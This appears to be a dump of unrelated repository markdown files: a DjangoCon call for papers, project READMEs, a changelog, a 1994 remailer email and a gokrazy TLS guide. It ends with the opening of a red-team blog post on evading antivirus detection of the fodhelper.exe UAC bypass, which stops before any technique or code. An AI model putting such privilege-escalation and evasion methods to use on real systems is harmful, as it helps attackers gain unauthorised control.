text:
---
title: "Call for Participation"
date: 2018-12-16T18:48:39+01:00
draft: false
type: "single"
description: "Our Call for Participation (CfP) is now open: Please feel invited and invite others."
menu:
  main:
    name: "CfP"
    parent: "talks"
---

# Call for Participation

**The call has closed - thanks to everyone who responded! This conference will be fantastic thanks to all your inputs, and we are excited to be working on the program now.**

**We will add more information about how and when we reach out about the committee's selections.**

This page contains all information regarding the proposal process for DjangoCon Europe – we will update it regularly as new information becomes available.

## Deadline <s>is</s> was 2019-01-20 🔥

Precisely speaking, that's January 20th, 2019, 23:59 UTC+1. You can edit your submissions up to this date, so don't hesitate to submit a preliminary version of your talk or workshop.

If you think you have something great to talk about – submit your idea! If you are unsure, talk it over with somebody, or see below for our mentoring section to find people to bounce your idea off of. If you already want to submit your talk, head over here, otherwise read on!

## What we’re looking for 🌈

* Talks (main track)
* Smaller sessions and workshops (see last section)

## Schedule 🗓

* Talks (+smaller sessions and workshops) - April 10-12
* Sprints - April 13-14

## Topics 📚

* Django internals and challenges in modern web development.
* Wild ideas, clever hacks, surprising or cool use cases.
* Improving Django and Python developers’ lives.
* Pushing Django to its limits
* Fundamentals, in a modern light.
* The Django and Python community, culture, history, past, present & future, the why the who and the what of it all
* Security
* Whatever you deem appropriate – it's your conference, after all!

## Help! ⛑

You may think that your idea is not suited to DjangoCon Europe, or that you couldn't possibly present it well, or that others will do it better. **We want to prove you wrong**. See the list of [speaker mentors](/speaker-mentors) who are willing to help you develop your idea into a talk, and help you tackle all obstacles on the way. You should also consider reading [Sasha's blog post](https://www.mxsasha.eu/blog/2015/03/11/why-you-should-speak/) on why you should speak at DjangoCon Europe! This blog post still holds true 3 years later.

If you would like to ask a question, you are always welcome to write the content committee: [content<EMAIL_ADDRESS>
## Speaker bonuses 🎁

As a speaker, you will not need to buy a ticket, since you gain free entrance to the conference. If you have bought a ticket in advance before being accepted, we will refund it, of course. According to current plans, there will also be a fancy speakers' dinner!

We will not be able to cover travelling and accommodation costs for all speakers, but if you require financial support, please participate in our Opportunity Grant process – speakers will receive special consideration in the selection process.

For companies or employers: Talk content should not be influenced directly by commercial interests, but if your company or employer has supported your process for creating and giving the talk (for instance allowing you to prepare it in working hours), you are *always* welcome to mention this support during a talk. If your employer or company covers travel and accommodation costs, we have a sponsor recognition policy, meaning the company or organisation can join as a sponsor. Please get in touch with [sponsors<EMAIL_ADDRESS>to hear more.

## Guidelines 📏

* Submit your talk in time, no excuses.
* All talks will be **in English**.
* Read, understand, and agree to our Code of Conduct. As a speaker, your talk and your slides will need to follow our Code of Conduct – if you are not sure what that means, or have some issue you are not sure about, just ask us!
* Make sure you spend some **time and effort** on your proposal. Typos, lack of formatting, and half finished sentences are unnecessary and make your proposal hard to be taken seriously. (Ask a mentor or a friend to help if this is difficult for you.)
* **Don't overdo it** – two or three paragraphs are plenty of space to give us an idea of your talk, we don't require an entire thesis. ;)
* **Original content:** Since we have little space and lots of submissions, we prefer original content. If your talk is so awesome that you want to give it in multiple places, we'd ask you to consider putting a new spin on it, if at all possible.

## Talk Selection Process 🧐

Reviewing the talks and tutorials submitted to a conference can be a daunting task – there is much to consider, and usually there are more great submissions than there are slots available in the conference schedule.

We’d like to make our reviewing process and guidelines transparent to every submitter and attendee, both to show you what will await you during the conference as an attendee, and to help you understand our decisions regarding your submissions as a submitter.

We will document our selection process on this website and announce it as a blog post and via Twitter.

### Composition 📜

First off, a warning: all of the following numbers are **approximate and may change** – we don’t know the future, and we may have to adjust to changed circumstances in a number of ways.

DjangoCon Europe has three conference days reserved for talks (followed by two days of sprints). Past experience shows that more than 10 talks per day (plus room for lightning talks) is a bit much, so we’re looking at about 30 talk slots we can distribute among submissions. Of these 30:

* 3 will go to keynote speakers selected by us. We’re very much open to suggestions, so contact us if there is anybody you’d like to see or hear as a keynote speaker!
* 2 talks focusing on languages or frameworks that are not Django.
* 6 community talks. These are meant to show the struggles we face as a community, and as individuals. They can include talks on personal growth, or demonstrate problems that are still waiting to be resolved.
* 4 project presentations. These talks show ways and areas in which Django may be used.
* 15 talks about Django and working with Django:
  * 6 talks accessible to beginners, focussing on concepts, introductions, guides, and other material most useful to those new to Django, having used Django for about a year or less. Includes common workflows (like debugging and testing) and introductions to tools integrated with Django.
  * 6 more advanced talks, explaining concepts or implementation details in depth, for people who have used Django for more than a year. Includes uncommon workflows, and improvements on testing and debugging workflows.
  * 3 talks at a very advanced level on implementation details and planned features. We hope to offer a bit of the Django Under The Hood spirit here, to compensate for its termination.

If your talk idea does not match any of these categories, or matches more than one – don’t worry! This is not a strict list that every submission needs to fit in, it is just meant as a guide for attendees, submitters, and reviewers alike.

### Reviewing 🕑

Our review team has not been assembled yet, but we’re working towards a mix of some organisers, some core developers and DSF members, and some Django Girls members/organisers. (Again, if you think we’re missing somebody, please get in touch!)

Reviewers will be asked to look at a set of submissions and submit a review (both a few words and a rough rating). After the review period is over, we will go through the talks by category and select the talks based on accumulated reviews. If we can’t make the decision among two or three talks, we’ll check back with the reviewers and ask them for their opinion.

We’ll of course notify you regardless of the review outcome with the result. We’ll probably send out some of the acceptance mails before the rejection mails, to give accepted speakers a chance to step back, in case they cannot attend after all. Regardless of our decision, feel free to ping us for feedback and we’ll give you an overview over reviewer opinions!

We value your feedback. If you have any concerns or suggestions on how we can improve the reviewing process, please get in touch!

## Smaller sessions 🙌

The venue provides a number of rooms adjacent to the main hall, one of which will be setup for self-organised workshops. This is a chance to:

* Discussions with fellow peers
* Introducing Django applications
* Find and tutor new developers and maintainers
* Live demos

If the schedule permits it, sessions can be organised spontaneously during the conference. However, we encourage getting in touch about the session beforehand, such that the session can be advertised and scheduled for the convenience of everyone.

Note that there are also sprints in the weekend after the conference; hosting smaller sessions do not qualify for free admission.

## Lightning Talks 🌩

Not up for a full talk or tutorial? Looking to give your first talk at a conference? Lightning talks are talks of 5 minutes or less, with or without slides, on almost any topic you want! Even if you’re nervous or shy, remember: it’s a MAXIMUM of 5 minutes. Everyday of the conference will feature a lightning talk slot at the end of the day. Sign-ups will happen **at the conference**.

gha_language: Python


text:
`<tweet-chart>` is a web component designed to visualize Tweets and visualize each Tweet sentiment.
Tweet background is coloured green if tweet's text is posive, red if it is negative or grey if neutral.
This web component obtains data from an elasticSearch index.

### Usage

This web component accepts the following parameters:

```html

<tweet-chart
    datos="{{data}}"
    icon='face'>
</tweet-chart>

```

### Installation

This web component is available in bower.

```bash

$ bower install tweet-chart

```

This command will install it inside `bower_components` folder

Remember to edit your `elements.html` with this component.

repository: Luiscri/MABSED

branch_name: refs/heads/master

extension: md

license_type: permissive

repo_name: Luiscri/MABSED


text:
# The War-Torn Kingdom

ZIL Implementation of War-Torn Kingdom (Quest / Fabled Lands Game book) by Dave Morris and Jamie Thomson

| **Cover art** | **Back cover blurb**|
|:-:|-|
|![Cover Art](/images/war-torn-kingdom.jpg)|SET OUT ON A JOURNEY OF INCREDIBLE ADVENTURE ROLE-PLAYING IN LANDS BEYOND YOUR IMAGINATION

Choose for yourself what role to play, where to go, and what to do.

In THE WAR-TORN KINGDOM revolution rages in Sokara. You can join forces with the king to restore his throne, or look for profit working for the dictator, Grieve Marlock. Use fighting skills or sorcery, bribery or skullduggery to survive the back streets. Descend to the sewers of Yellowport to defeat the vile rat-king, Skabb. Retrieve the golden net from the Repulsive Ones under the sea -- and use the rewards of your victories to travel beyond the boundaries of the known world.

Your journeys will bring you foes and friends, danger and triumph, fortune and fame -- and more adventures than you have ever dreamed of!|
| |FOR ONE PLAYER. This book includes:
* A pair of dice
* 14 reusable adventure sheets
* Character profiles
* 2 maps of Fabled Lands of Quest
* All the instructions you need to start your very own adventure|
| |*This is role-playing as you've never known it before -- in the perilous world of QUEST!*|
| |*Cover illustration by Kevin Jenkins|
| |**Map of Sokara**|
| |![Map](/images/map-of-sokara.jpg)
**From: [The Gallery: Art of Russ Nicholson](https://russnicholson.blogspot.com/)|

## Full Map (c) 1995 Macmillan Children's books
![Full Map](/images/world-map.jpg)

## Revised Map (c) 2018 Megara Entertainment
![Full Map](/images/fabled-lands-map.png)

## Full Cover Art (c) Kevin Jenkins
![Full Cover Art](/images/full-cover-art.jpg)

## Additional Copyright Information

```
Text copyright (c) 1995, 2010 Dave Morris and Jamie Thomson
Illustrations copyright (c) 1995 Russ Nicholson
Map copyright (c) 1995 Macmillan Children's books, (c) 2018 Megara Entertainment

Published 1997 by Prince Stern Sloan, Inc.,
A member of The Putnam & Grosset Group, New York, New York.

ISBN 0 8431 7926 0
First Edition
1 3 5 7 9 10 8 6 4 2
```

## Notes about ZIL version

- No in-game illustrations or graphics (Refer to the maps above)
- Dice rolls handled by the Random Number Generator (but of course!)
- Character selection and inventory (items, codewords)
- Items with bonuses to abilities, e.g. +1 COMBAT (weapons), +1 DEFENSE (armours)
- Monster Combat, Random events, and Ability tests
- Level-up in ranking, stamina or abilities
- Titles and honours, Blessings, and Worship of a God
- Missions given by various parties
- Status ailments like: diseases, curses and poisons
- Temples: Seek cures, purchase blessings, Resurrection arrangements, worship/renounce a god
- Markets and Merchants (buying and selling weapons, armours, magic, maps (!?) and other items)
- Guilds: invest or bank money
- Townhouses/Secret caches (store/withdraw money and possessions)
- Harbour and Ports (Buy/Sell/Upgrade ships, Book passages to far lands, Buy/Sell Cargo, Own up to 3 ships)

## Available key commands in the game

- Select an action by pressing the number keys that correspond to the option (**1** - **9**).
- In some situations, if there are more than 9 options, items 10-19 map to the keys **A** (or **a**) - **J** (or **j**)
- Press **q** or **Q** to quit or terminate the program
- Press **p** or **P** to view character (items, skills, codewords, etc.)
- Press **r** or **R** to restore progress from a save file
- Press **s** or **S** to save current progress to a file
- Press **u** or **U** Use/drop an item from your inventory
- Press **?** to list the commands **P**/**S**/**R**/**U**/**Q** and what each does

## Additional Notes

- Travel to other islands or regions, i.e. to other books not implemented
- As a consequence, some story sections may be impossible to reach or will always play out the same way
- The 2010 version of the text was used, however, characters from the 1995 and 1997 are maintained.

## Bugs

Feel free to report bugs or any issues with this adaptation. Thanks!

license: MIT

repository: daelsepara/war-torn-kingdom

repo_name: daelsepara/war-torn-kingdom


text:
Perch Security is a crowd-sourced threat and intelligence feed which also provides network security.

When you configure an instance of the Perch Security integration in Cortex XSOAR, you need to enter your Perch Key.

## Generate your Perch key
1. Log in to your Perch environment and navigate to the [Integrations menu](https://app.perchsecurity.com/settings/integrations).
2. Generate a **Key**.

repository: demisto/content

gha_license_id: MIT

repo_name: demisto/content


text:
# Stacks and Queues
stack is a data structure that consists of Nodes. Each Node references the next Node in the stack, but does not reference its previous.
they have two kinds
1. FIFO
2. LIFO

queue
1. FIFO
2. LILO

## Challenge
how to pop from stack and queue

## Approach & Efficiency
time o(1) space o(1)

## API

***for the Stack class:***

1. push: takes any value as an argument and adds a new node with that value to the top of the stack

2. pop: does not take any argument, removes the node from the top of the stack, and returns the node’s value.

3. peek : does not take an argument and returns the value of the node located on top of the stack, without removing it from the stack.

4. isEmpty : takes no argument, and returns a boolean indicating whether or not the stack is empty.

***for the Queue class:***

1. enqueue : takes any value as an argument and adds a new node with that value to the back of the queue

2. dequeue : does not take any argument, removes the node from the front of the queue, and returns the node’s value.

3. peek : does not take an argument and returns the value of the node located in the front of the queue, without removing it from the queue.

4. isEmpty : takes no argument, and returns a boolean indicating whether or not the queue is empty.

branch_name: refs/heads/main


text:
---
layout: default
---

# 1994-08-04 - Re: anonymous anonymous remailers?

## Header Data

From: Jonathan Rochkind<EMAIL_ADDRESS>To<EMAIL_ADDRESS>Message Hash: d572a82f856408ca4f152ca3f48e5ee0a9de57ca5505e5ec7fb1d725c0294c33

Message ID<EMAIL_ADDRESS>Reply To: _N/A_

UTC Datetime: 1994-08-04 03:15:54 UTC

Raw Date: Wed, 3 Aug 94 20:15:54 PDT

## Raw message

```
{% raw  %}From: Jonathan Rochkind<EMAIL_ADDRESS>Date: Wed, 3 Aug 94 20:15:54 PDT
To<EMAIL_ADDRESS>Subject: Re: anonymous anonymous remailers?
Message-ID<EMAIL_ADDRESS>MIME-Version: 1.0
Content-Type: text/plain

> > Assume we create the alt.anonremailer.net newsgroup mechanism that
> > Jonathan Rochkind recently suggested (and it worked). >  > Could we
> then not use the newsgroup, in combination with a net of   >
> well-known remailers, to give us the capability to have some remailers
> at   > unknown locations by having some remailers post encrypted reply
> blocks as   > their "addresses"?
>
> This is just painfully non-scalable. Sure it will work for now, but
> its not something that will last once large numbers of people begin
> using it.

Why? Which part, the whole idea of a remailer control newsgroup, or just
the idea of remailers with unknown locations? I'm not sure how reliable
remailers with unknown locatoins would be (one remailer in the chain
goes down, your unknown remailer can't be contacted, and there's no easy
way to verify whether the chain is still intact any more), but I'm not
sure I actually see anything non-scalable about it. Nor about the
"alt.anonremailer" concept. If you've got 500 remailers posting once
a day, your still not the largest newsgroup out there. And when combined
with a realtime verification system (you get the address of the remailer
from the newsgroup, and _then_ you connect to a certain port and get an
acknowledgement message, to make sure the remailer is up), you could
lower traffic yet further. Maybe you only need to post once every ten
days with the "my remailer is here" message. This could then accomodate some
3000 remailers and still not be as high traffic as comp.sys.mac.hardware.
And I think by the time there are 3000 remailers to be accomodated, the net
will be easily handling full motion video, and people will be exchanging
20 minute long quicktime movies in the newsgroups, and we wont' have a
bandwith problem at all.

But maybe I'm missing something obvious. Enlighten me.

{% endraw %}
```

## Thread

+ Return to [August 1994](/archive/1994/08)

+ Return to "[Jonathan Rochkind <jrochkin@cs.oberlin.edu>](/authors/jonathan_rochkind_jrochkin_at_cs_oberlin_edu_)"
+ Return to "[solman@MIT.EDU](/authors/solman_at_mit_edu)"

+ 1994-08-04 (Wed, 3 Aug 94 20:15:54 PDT) - Re: anonymous anonymous remailers? - _Jonathan Rochkind<EMAIL_ADDRESS>  + 1994-08-04 (Wed, 3 Aug 94 20:32:26 PDT) - [Re: anonymous anonymous remailers?](/archive/1994/08/b4df615bc1d9d658c40d66bd55022930590f7af2dd49c1766d2e7cea443a955b) -<EMAIL_ADDRESS>


text:
# PhatSort

[![Project Status: Active – The project has reached a stable, usable state and is being actively developed.](https://www.repostatus.org/badges/latest/active.svg)](https://www.repostatus.org/#active)
[![GitHub CI](https://github.com/ExtremaIS/phatsort-haskell/workflows/CI/badge.svg?branch=main)](https://github.com/ExtremaIS/phatsort-haskell/actions)
[![Hackage](https://img.shields.io/hackage/v/phatsort.svg)](https://hackage.haskell.org/package/phatsort)
[![Stackage LTS](https://stackage.org/package/phatsort/badge/lts)](https://stackage.org/package/phatsort)
[![Stackage Nightly](https://stackage.org/package/phatsort/badge/nightly)](https://stackage.org/nightly/package/phatsort)

* [Overview](#overview)
* [CLI](#cli)
    * [Requirements](#requirements)
    * [Installation](#installation)
        * [`.deb` Package Installation](#deb-package-installation)
        * [`.rpm` Package Installation](#rpm-package-installation)
        * [Installation From Hackage](#installation-from-hackage)
        * [Installation From Stackage](#installation-from-stackage)
    * [Usage](#usage)
* [Related Software](#related-software)
* [Project](#project)
    * [Links](#links)
    * [Tags](#tags)
    * [Contribution](#contribution)
    * [License](#license)

## Overview

The PhatSort project provides two command-line utilities for sorting files
and directories on FAT filesystems.  The `phatsort` utility sorts files and
directories that are already on the filesystem.  The `seqcp` utility copies
files and directories to the filesystem in sorted order.

There are many MP3 players that allow you to mount the device as external
storage and manage the media yourself.  The storage generally uses a FAT
filesystem.  When copying multiple files onto the storage, using the command
line (`cp`/`mv`) or a GUI, they are generally stored in an arbitrary order.
This is not a problem if the firmware of the MP3 player sorts by filename, but
many MP3 players use the order in the FAT filesystem without sorting, which
results in podcasts and album tracks being played out of order.

There are some utilities that sort the FAT tables of an unmounted filesystem.
(See [Related Software](#related-software) for information and links.)
Unfortunately, there are many devices for which this does not work.  PhatSort
takes a different approach to solving the problem.  It works by creating new
directories and moving ("renaming") the files in the desired order, while the
filesystem is mounted.  This method works on all devices that have been tried
so far.

PhatSort also (optionally) forces the filesystem buffers to be written to the
storage media after each change.  This helps avoid write failures when using
devices that have problems with writing large amounts of data.  Note that the
`seqcp` utility helps with this issue even on non-FAT filesystems.

## CLI

### Requirements

PhatSort has only been tested on Linux.  It *might* work on other operating
systems.  Scripts that are output use POSIX shell commands and therefore
require a POSIX shell to execute.

### Installation

#### `.deb` Package Installation

Check the [Releases][] page for `.deb` packages.

#### `.rpm` Package Installation

[Releases]: <https://github.com/ExtremaIS/phatsort-haskell/releases>

Check the [Releases][] page for `.rpm` packages.

#### Installation From Hackage

Install PhatSort from [Hackage][] using [Cabal][] as follows:

```
$ cabal v2-install phatsort
```

[Hackage]: <https://hackage.haskell.org/package/phatsort>
[Cabal]: <https://www.haskell.org/cabal/>

#### Installation From Stackage

Install PhatSort from [Stackage][] using [Stack][] as follows:

```
$ stack install phatsort
```

[Stackage]: <https://www.stackage.org/package/phatsort>
[Stack]: <https://haskellstack.org/>

### Usage

See the [`phatsort`][] and [`seqcp`][] man pages for usage information.

[`phatsort`]: <doc/phatsort.1.md>
[`seqcp`]: <doc/seqcp.1.md>

## Related Software

[`FATSort`][] is a command-line utility that sorts unmounted FAT filesystems
by direct manipulation of the FAT tables.  Unfortunately, there are many
devices for which this does not work.

[`YAFS`][] is a command-line utility that sorts unmounted FAT filesystems by
direct manipulation of the FAT tables.  [`Visual YAFS`][] provides a GUI.  I
have not tried either of these.

[`DriveSort`][] is Windows GUI software that sorts unmounted FAT filesystems
by direct manipulation of the FAT tables.  I have not tried it.

[`FATSort`]: <https://fatsort.sourceforge.io/>
[`YAFS`]: <http://www.luisrios.eti.br/public/en_us/projects/yafs/>
[`Visual YAFS`]: <http://www.luisrios.eti.br/public/en_us/projects/visual_yafs/>
[`DriveSort`]: <http://www.anerty.net/software/file/DriveSort/>

## Project

### Links

* Hackage: <https://hackage.haskell.org/package/phatsort>
* Stackage: <https://www.stackage.org/package/phatsort>
* Flora: <https://flora.pm/packages/@hackage/phatsort>
* GitHub: <https://github.com/ExtremaIS/phatsort-haskell>
* GitHub Actions CI: <https://github.com/ExtremaIS/phatsort-haskell/actions>

### Branches

The `main` branch is reserved for releases.  It may be considered stable, and
`HEAD` is always the latest release.

The `develop` branch is the primary development branch.  It contains changes
that have not yet been released, and it is not necessarily stable.

[Hackage revisions][] are made for metadata changes, such as relaxation of
constraints when new versions of dependencies are released.  The
`phatsort.cabal` metadata in the `main` branch may therefore not match that of
Hackage.  The `phatsort.cabal` metadata in the `develop` branch may match,
*unless* work is being done on a new release that contains other changes.

[Hackage revisions]: <https://github.com/haskell-infra/hackage-trustees/blob/master/revisions-information.md#hackage-metadata-revisions--what-they-are-how-they-work>

### Tags

All releases are tagged in the `main` branch.  Release tags are signed using
the<EMAIL_ADDRESS>GPG key][].

<EMAIL_ADDRESS>GPG key]: <https://keyserver.ubuntu.com/pks/lookup?search=0x1D484E4B4705FADF&fingerprint=on&op=index>

### Contribution

Issues and feature requests are tracked on GitHub:
<https://github.com/ExtremaIS/phatsort-haskell/issues>

Issues may also be submitted via email to<EMAIL_ADDRESS>
### License

This project is released under the [MIT License][] as specified in the
[`LICENSE`][] file.

[MIT License]: <https://opensource.org/licenses/MIT>
[`LICENSE`]: <LICENSE>

repository: ExtremaIS/phatsort-haskell

repo_name: ExtremaIS/phatsort-haskell


text:
# Simple Docker Registry API Explorer

[![Latest Version on Packagist](https://img.shields.io/packagist/v/josepostiga/docker-registry-api-explorer.svg?style=flat-square)](https://packagist.org/packages/josepostiga/docker-registry-api-explorer)
[![Build Status](https://img.shields.io/travis/josepostiga/docker-registry-api-explorer/master.svg?style=flat-square)](https://travis-ci.org/josepostiga/docker-registry-api-explorer)
[![Quality Score](https://img.shields.io/scrutinizer/g/josepostiga/docker-registry-api-explorer.svg?style=flat-square)](https://scrutinizer-ci.com/g/josepostiga/docker-registry-api-explorer)
[![StyleCI](https://github.styleci.io/repos/198105219/shield)](https://github.styleci.io/repos/198105219)
[![Total Downloads](https://img.shields.io/packagist/dt/josepostiga/docker-registry-api-explorer.svg?style=flat-square)](https://packagist.org/packages/josepostiga/docker-registry-api-explorer)

## Installation

You can install the package via composer:

```bash
composer require josepostiga/docker-registry-api-explorer
```

**Note**

This package needs an accessible official Docker Registry container to be up and running. Please refer to the [Docker documentation](https://docs.docker.com/registry/) to know how to boot a private registry.

## Usage

Before using this package, you need to publish the configuration:

```bash
php artisan vendor:publish --tag=config
```

A new `docker-registry.php` config file will be published in the `config` folder. Inside of it, you'll find a few configuration items you need to modify according to your reality, specifically the "url", which is the publicly accessible url of the Docker registry you'll connect to.

### Catalogs

The Docker Registry references "Catalogs" as a directory of available images repositories. Here's an example to get all available repositories:

```php
class RepositoriesController
{
    public function index(DockerRegistryCatalogRepository $repository)
    {
        return $repository->list();
    }
}
```

### Tags

Tags are associated with an image repository. To access this list, you need to pass the image you want to access the related tags. Here's an example to get all tags associated with an image repository:

```php
class TagsController
{
    public function index(string $image)
    {
        // the $image variable is a route placeholder, automatically injected by Laravel as a controller method param.
        $repository = App::makeWith(DockerRegistryTagsRepository::class, [
            'image' => $image
        ]);

        return $repository->list();
    }
}
```

### Manifests

A Manifest is a detailed document about what changes and information an image tag is referring to. Here's an example to get the manifest of a tag associated with an image repository:

```php
class ManifestController
{
    public function index(string $image, string $tag)
    {
        // the $image and $tag variables are route placeholders, automatically injected by Laravel as controller method params.
        $manifest = App::makeWith(DockerRegistryManifestRepository::class, [
            'image' => $image,
            'tag' => $tag,
        ]);

        return $manifest->get();
    }
}
```

#### Note

Right now, this package only supports simple operations available on the [official Docker Registry HTTP API](https://docs.docker.com/registry/spec/api/).

Other types of registries are not supported, yet. Feel free to help out on that.

### Testing

``` bash
vendor/bin/phpunit
```

### Changelog

Please see [CHANGELOG](CHANGELOG.md) for more information on what has changed recently.

## Contributing

Please see [CONTRIBUTING](CONTRIBUTING.md) for details.

### Security

If you discover any security related issues, please [email<EMAIL_ADDRESS>or [Telegram](https://t.me/josepostiga) instead of using the issue tracker.

## Credits

- [José Postiga](https://github.com/josepostiga)
- [All Contributors](../../contributors)

## License

The MIT License (MIT). Please see [License File](LICENSE.md) for more information.

gha_language: PHP


text:
# Changelog

All notable changes to this project will be documented in this file. See [standard-version](https://github.com/conventional-changelog/standard-version) for commit guidelines.

## [2.0.2](https://github.com/istanbuljs/istanbul-lib-processinfo/compare/v2.0.1...v2.0.2) (2019-10-08)

### Changes

* Update to use async API's from nyc@15 ([#15](https://github.com/istanbuljs/istanbul-lib-processinfo/issues/15)) ([987f36b](https://github.com/istanbuljs/istanbul-lib-processinfo/commit/987f36b))

## [2.0.1](https://github.com/istanbuljs/istanbul-lib-processinfo/compare/v2.0.0...v2.0.1) (2019-10-07)

### ⚠ BREAKING CHANGES

* ProcessInfo#save is now async
* ProcessInfo#getCoverageMap is now async
* ProcessDB#writeIndex is now async
* ProcessDB#readIndex is now async
* ProcessDB#readProcessInfos is now async
* ProcessDB#renderTree is now async
* ProcessDB#buildProcessTree is now async
* ProcessDB#getCoverageMap is now async
* ProcessDB#spawn now returns a Promise which resolves to
the child process object
* ProcessDB#spawnSync has been removed
* ProcessDB#expunge is now async

### Bug Fixes

* Update dependencies ([e52e64e](https://github.com/istanbuljs/istanbul-lib-processinfo/commit/e52e64e))

### Features

* Use async where possible ([#14](https://github.com/istanbuljs/istanbul-lib-processinfo/issues/14)) ([67378ab](https://github.com/istanbuljs/istanbul-lib-processinfo/commit/67378ab))

## [2.0.0](https://github.com/istanbuljs/istanbul-lib-processinfo/compare/v1.0.0...v2.0.0) (2019-06-20)

### Bug Fixes

* Do not crash when nyc is run inside itself. ([#3](https://github.com/istanbuljs/istanbul-lib-processinfo/issues/3)) ([1774277](https://github.com/istanbuljs/istanbul-lib-processinfo/commit/1774277)), closes [istanbuljs/nyc#1068](https://github.com/istanbuljs/istanbul-lib-processinfo/issues/1068)
* Eagerly resolve processInfoDirectory ([#8](https://github.com/istanbuljs/istanbul-lib-processinfo/issues/8)) ([c2a5fa8](https://github.com/istanbuljs/istanbul-lib-processinfo/commit/c2a5fa8))
* Just use externalId from argument. ([#7](https://github.com/istanbuljs/istanbul-lib-processinfo/issues/7)) ([d25b1ed](https://github.com/istanbuljs/istanbul-lib-processinfo/commit/d25b1ed))
* Name field/property `directory` ([#11](https://github.com/istanbuljs/istanbul-lib-processinfo/issues/11)) ([b70207e](https://github.com/istanbuljs/istanbul-lib-processinfo/commit/b70207e))
* Remove `root` from processinfo ([#9](https://github.com/istanbuljs/istanbul-lib-processinfo/issues/9)) ([2c2086a](https://github.com/istanbuljs/istanbul-lib-processinfo/commit/2c2086a))
* Switch from mkdirp to make-dir, add to dependencies ([#5](https://github.com/istanbuljs/istanbul-lib-processinfo/issues/5)) ([63b5e19](https://github.com/istanbuljs/istanbul-lib-processinfo/commit/63b5e19))

### Features

* Require Node.js 8, update dependencies ([#10](https://github.com/istanbuljs/istanbul-lib-processinfo/issues/10)) ([36f03c0](https://github.com/istanbuljs/istanbul-lib-processinfo/commit/36f03c0))

### BREAKING CHANGES

* ProcessInfo field and property `processInfoDirectory` is
renamed to `directory`.
* ProcessDB readonly property `dir` is renamed to
`directory`.
* ProcessInfo directory must be set if `.save()` will be
used.  It is no longer calculated from NYC_CONFIG environment.
* Require Node.js 8, update dependencies (#10)
* The `root` field has been removed from processinfo files.

license: ISC

repository: istanbuljs/istanbul-lib-processinfo

gha_language: JavaScript

gha_license_id: ISC

repo_name: istanbuljs/istanbul-lib-processinfo


text:
# Lina-Seismic-Playground
## Description
**Seismic data** processing using state-of-the-art **Machine Learning** methods.
 On primarily exploration we start with:
 * **Data Preprocessing**
 	* Etract Patches from Seismic Gather
 	* Patches Augment
 * **Data Denoise**
 	* [Dictionary Learning](https://github.com/maihao14/Lina-Seismic-Playground/blob/master/ODLdenoising.ipynb)
    * [AutoEncoder](https://github.com/maihao14/Lina-Seismic-Playground/blob/master/AutoEncoder.mlx)
 	* CNN
 	* Resnet

********
 If you wanna join the playground project, contact me at<EMAIL_ADDRESS>
 Later I will push the code in *Matlab Python* and *Jupyter Notebook* for your reference.


text:
## NodeJs model example

This model example takes an input of 10 different features and predicts a out for the same.
For the training part it uses a random normally distributed input set of 100 rows i.e a data set of [100,10] and trains it for another random normally distributed data set of size [100,1].

For every prediction the model expects a dataset of dimension [r,10] where r is the num of input rows to be predicted.

### Pre-requisites

- node(version>=8.11.0)
- npm or yarn

### Installing Dependencies

```
npm install
```

### Traing the model

```
npm start
```

### Running a prediction

```
npm run predict
```

repository: SeldonIO/seldon-core

gha_language: HTML

repo_name: SeldonIO/seldon-core


text:
# Correlation and Causality

In this lesson you will be learning about correlation and causality, and then heading out to have fun with some stock market data.

#### [Presentation](https://docs.google.com/presentation/d/15Nm53_-8YOPYol_oYyKHMgRSwXRmAx-JtpXr25Qed00/pub?start=false&loop=false&delayms=3000)

# New concepts in this unit
- Pearson Correlation
- Spearman Correlation
- Causality
- Correlation table

# New tools in this unit
- [.corr](https://pandas.pydata.org/pandas-docs/stable/generated/pandas.Series.corr.html)

# Exercise
Search for correlations in the stock prices and airline statistics dataset

repository: LDSSA/learning-units

gha_language: Jupyter Notebook

repo_name: LDSSA/learning-units


text:
---
title: "Using TLS in untrusted networks"
weight: 50
---

Let’s assume that you have [installed gokrazy on a Raspberry Pi](/quickstart/)
and are currently successfully updating it over the network like so:

```bash
gok update
```

## Enabling TLS

To start using TLS, edit your gokrazy instance’s `config.json`:

```bash
gok edit
```

In the `config.json`, in the `Update` field, add a `"UseTLS": "self-signed"`
line (don’t forget adding a comma to the previous line):

{{< highlight json "hl_lines=5" >}}
{
    "Hostname": "docs",
    "Update": {
        "HTTPPassword": "secret",
        "UseTLS": "self-signed"
    },
    "Packages": [
        "github.com/gokrazy/fbstatus",
        "github.com/gokrazy/hello",
        "github.com/gokrazy/serial-busybox",
        "github.com/gokrazy/breakglass"
    ]
}
{{< /highlight >}}

Save your changes and close the file, then run a first update with the
`--insecure` flag:

```bash
gok update --insecure
```

The gok CLI will:
* generate a self-signed certificate
* include the certificate in the gokrazy installation
* verify the certificate fingerprint in future updates

The gokrazy installation will start listening on TCP port 443 for HTTPS
connections and redirect any HTTP traffic to HTTPS. When opening the gokrazy web
interface in your browser, you will need to explicitly permit communication due
to the self-signed certificate.

For all future updates, remove the `--insecure` flag:

```bash
gok update
```

You can now safely update your gokrazy installation over untrusted networks,
such as [unencrypted WiFi networks](/userguide/unencrypted-wifi/).

## Disabling TLS

Change the `UseTLS` line to `"UseTLS": "off"` in your instance’s `config.json`.

Run `gok update --insecure`, and afterwards gokrazy will no longer contain the
certificates and will serve unencrypted HTTP again.

repository: gokrazy/gokrazy

gha_language: Go

repo_name: gokrazy/gokrazy


text:
---
layout: post
title: 'Utilizing Programmatic Identifiers (ProgIDs) for UAC Bypasses'
subtitle: 'Utilizing Programmatic Identifiers (ProgIDs) for UAC Bypasses'
date: 2021-10-20
author: V3ded
category: RedTeam
tags: blog
finished: true
excerpt_separator:
---

# Introduction
In today's blog, we will specifically talk about evading antivirus signatures that target registry keys which are associated with *UAC* (User Account Control) bypasses. First, I will briefly talk about *UAC* and what it really is. Subsequently, I will look at the `fodhelper.exe` *UAC* bypass and how it can be used to execute malicious code in an elevated context. Finally, I will show you a clever trick to evade defense solutions that might prevent the bypass from working. So with that, it's time to get our hands dirty!

***

# User Account Control (*UAC* ) Primer
*UAC* is a mandatory access control enforcement feature of Windows that helps to prevent unauthorized actions or changes occurring to the operating system. This is achieved through an administrative consent prompt, which shows up whenever a user-launched application requires administrative elevation to carry out its tasks.

UAC prompting the user for permissions.

According to Microsoft, this prompt ensures that no unknown or malicious software can silently install itself or inherit administrative privileges unless it is approved beforehand or the user explicitly authorizes it. Notice the word "silently" though. The prompt's only purpose is to **alert** the user when a launched program requires elevated privileges. It is then up to the user to decide whether that request should be honored or not. Although this solution is better than having nothing at all, it's still not ideal.

